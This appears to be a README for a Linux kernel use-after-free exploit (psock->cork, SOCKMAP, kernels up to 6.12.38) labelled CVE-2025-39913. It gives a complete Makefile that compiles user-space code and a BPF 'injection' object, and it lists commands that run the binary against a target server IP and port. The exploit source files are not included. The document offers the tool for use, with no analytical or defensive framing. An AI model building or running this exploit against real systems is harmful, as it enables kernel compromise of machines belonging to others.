
UAF in linux kernel ≤ 6.12.38 (psock->cork)
Auteur : Byte Reaper
Ma plateforme : https://www.bytrep.com/
Concerne les versions du noyau Linux ≤ 6.12.38 avec prise en charge de SOCKMAP.
Kernel ≤ 6.12.38
Linux x86_64
GCC
1 - Create Makefile :
# touch Makefile
2 - Paste the content into the Makfile :
TARGET := CVE-2025-39913
KERNEL_PATH := /usr/src/linux-headers-$(shell uname -r)
BPF_OBJ := bpf_injection.o
USER_SRCS := main.c load_bpf.c check_bpfELf.c pingCheck.c com_c.c exit_asm.c sockmap_link.c check_elf.c result.c argparse.c
USER_OBJS := $(USER_SRCS:.c=.o)
ALL_OBJS := $(USER_OBJS) $(BPF_OBJ)
LIBS := -l:libbpf.a -lrt -lelf -lz
$(TARGET): $(ALL_OBJS)
gcc $(USER_OBJS) -o $@ $(LIBS)
%.o: %.c
gcc -c $< -o $@
$(BPF_OBJ): bpf_injection.c
clang -O2 -target bpf -c $< -o $@ \
-nostdinc \
-I/usr/lib/clang/19/include \
-I$(KERNEL_PATH)/arch/x86/include \
-I$(KERNEL_PATH)/arch/x86/include/generated \
-I$(KERNEL_PATH)/include \
-I$(KERNEL_PATH)/include/uapi \
-I$(KERNEL_PATH)/include/generated/uapi \
-I$(KERNEL_PATH)/include/asm-generic \
-I/usr/include
clean:
1 - IP address :
# ./CVE-2025-39913 -i [server-ip]
2 - target port (default : 80) :
# ./CVE-2025-39913 -i [server-ip] -p [PORT]
3 - Full ARG :
# ./CVE-2025-39913 -h
4 - Check Obj file BPF :
# ./CVE-2025-39913 -i [server-ip] -p [PORT] -o
5 - Check debug tracing :
# ./CVE-2025-39913 -i [server-ip] -p [PORT] -c
MIT